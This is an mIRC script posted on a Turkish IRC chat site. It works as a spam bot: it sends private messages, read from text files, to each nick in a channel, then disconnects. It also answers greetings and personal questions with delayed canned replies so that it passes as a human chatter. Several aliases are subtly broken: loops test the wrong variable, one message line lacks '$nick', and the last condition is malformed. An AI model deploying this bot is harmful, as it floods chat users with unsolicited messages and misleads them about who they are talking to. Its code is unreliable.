alias tag { inc %tnick = | if ($ulist($address($rnick($1,%tnick),-1),90,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%tnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%tnick),$chr(32),$read(system.sys)) }
alias vag { inc %vnick = | if ($ulist($address($rnick($1,%vnick),-1),95,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%vnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%vnick),$chr(32),$read(system.sys)) }
alias yag { inc %ynick = | if ($ulist($address($rnick($1,%ynick),-1),100,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%ynick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%ynick),$chr(32),$read(system.sys)) }
alias zag { inc %znick = | if ($ulist($address($rnick($1,%znick),-1),105,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%znick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%znick),$chr(32),$read(system.sys)) }
alias xag { inc %xnick = | if ($ulist($address($rnick($1,%xnick),-1),110,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%xnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%xnick),$chr(32),$read(system.sys)) }
alias wag { inc %wnick = | if ($ulist($address($rnick($1,%wnick),-1),115,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%wnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%wnick),$chr(32),$read(system.sys)) }
alias qag { inc %qnick = | if ($ulist($address($rnick($1,%qnick),-1),120,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%qnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%qnick),$chr(32),$read(system.sys)) }
alias ela { inc %mes = | if ($ulist($address($rnick($1,%mes),-1),150,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%mes) = $null) { .disconnect | .turkclear | halt } | $+(msg,$chr(32),$rnick($1,%mes),$chr(32),$read(turkmsj.dll)) }

alias aclear { var %aa $ulist(*,10,0) | while (%aa >= 1) { .ruser $ulist(*,10,%aa) | dec %aa } }
alias bclear { var %bb $ulist(*,15,0) | while (%aa >= 1) { .ruser $ulist(*,15,%bb) | dec %bb } }
alias cclear { var %cc $ulist(*,20,0) | while (%aa >= 1) { .ruser $ulist(*,20,%cc) | dec %cc } }
alias dclear { var %dd $ulist(*,25,0) | while (%aa >= 1) { .ruser $ulist(*,15,%dd) | dec %dd } }
alias eclear { var %ee $ulist(*,30,0) | while (%aa >= 1) { .ruser $ulist(*,30,%ee) | dec %ee } }
alias fclear { var %ff $ulist(*,35,0) | while (%aa >= 1) { .ruser $ulist(*,35,%ff) | dec %ff } }
alias gclear { var %gg $ulist(*,40,0) | while (%gg >= 1) { .ruser $ulist(*,40,%gg) | dec %gg } }
alias hclear { var %hh $ulist(*,45,0) | while (%gg >= 1) { .ruser $ulist(*,45,%hh) | dec %hh } }
alias ıclear { var %ıı $ulist(*,50,0) | while (%gg >= 1) { .ruser $ulist(*,50,%ıı) | dec %ıı } }
alias iclear { var %ii $ulist(*,55,0) | while (%gg >= 1) { .ruser $ulist(*,45,%ii) | dec %ii } }
alias jclear { var %jj $ulist(*,60,0) | while (%gg >= 1) { .ruser $ulist(*,60,%jj) | dec %jj } }
alias kclear { var %kk $ulist(*,65,0) | while (%gg >= 1) { .ruser $ulist(*,65,%kk) | dec %kk } }
alias lclear { var %ll $ulist(*,70,0) | while (%ll >= 1) { .ruser $ulist(*,70,%ll) | dec %ll } }
alias mclear { var %mm $ulist(*,75,0) | while (%ll >= 1) { .ruser $ulist(*,75,%mm) | dec %mm } }
alias nclear { var %nn $ulist(*,80,0) | while (%ll >= 1) { .ruser $ulist(*,80,%nn) | dec %nn } }
alias pclear { var %pp $ulist(*,85,0) | while (%ll >= 1) { .ruser $ulist(*,85,%pp) | dec %pp } }
alias rclear { var %rr $ulist(*,90,0) | while (%ll >= 1) { .ruser $ulist(*,90,%rr) | dec %rr } }
alias sclear { var %ss $ulist(*,95,0) | while (%ll >= 1) { .ruser $ulist(*,95,%ss) | dec %ss } }
alias tclear { var %tt $ulist(*,100,0) | while (%tt >= 1) { .ruser $ulist(*,100,%tt) | dec %tt } }
alias vclear { var %vv $ulist(*,105,0) | while (%tt >= 1) { .ruser $ulist(*,105,%vv) | dec %vv } }
alias yclear { var %yy $ulist(*,110,0) | while (%tt >= 1) { .ruser $ulist(*,110,%yy) | dec %yy } }
alias zclear { var %zz $ulist(*,115,0) | while (%tt >= 1) { .ruser $ulist(*,115,%zz) | dec %zz } }
alias xclear { var %xx $ulist(*,120,0) | while (%tt >= 1) { .ruser $ulist(*,120,%xx) | dec %xx } }
alias turkclear { var %mes $ulist(*,150,0) | while (%mes >= 1) { .ruser $ulist(*,150,%mes) | dec %mes } }
on *:text:* {
if ($cid == 1) {
if ($1 = slm) { inc %slm | if (%slm >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(Hhell.dll) }
if ($1 = nbr) { inc %nbr | if (%nbr >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HNbr.dll) }
if ($1 = nasılsın) { inc %nas | if (%nas >= 3) { msg nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HNas.dll) }
if ($1 = neresinden) { inc %ners | if (%ners >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HNerd.dll) }
if ($1 = nerden) { inc %ner | if (%ner >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HFrom.dll) }
if ($1 = yaş) { inc %yas | if (%yas >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HaGe.dll) }
if ($1 = okul) { inc %jop | if (%jop >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HJob.dll) }
if ($1 = iş) { inc %jop | if (%jop >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HJob.dll) }
}
if ($cid != 1) !isin $server) { closemsg $nick | halt }
}

Bu haber 13 Mart 2010 tarihinde tarafından IRC Dökümanları kategorisi altına yazılmış. 113 defa okunmuş ve Yorum yapılmamış

Yorum yapılmamış


Yorum yapın


Copyright ©2007-2012 Güven Internet Çözümleri Ticaret Ltd. Şti.
Sohbet Sohbet 99.Net sohbet sitemizde çet chat yapılmaktadır. Seviyeli sohbet ve muhabbet için bizi tercih edebilirsiniz msn sohbet cet sohbet sohbetchat sohbet odaları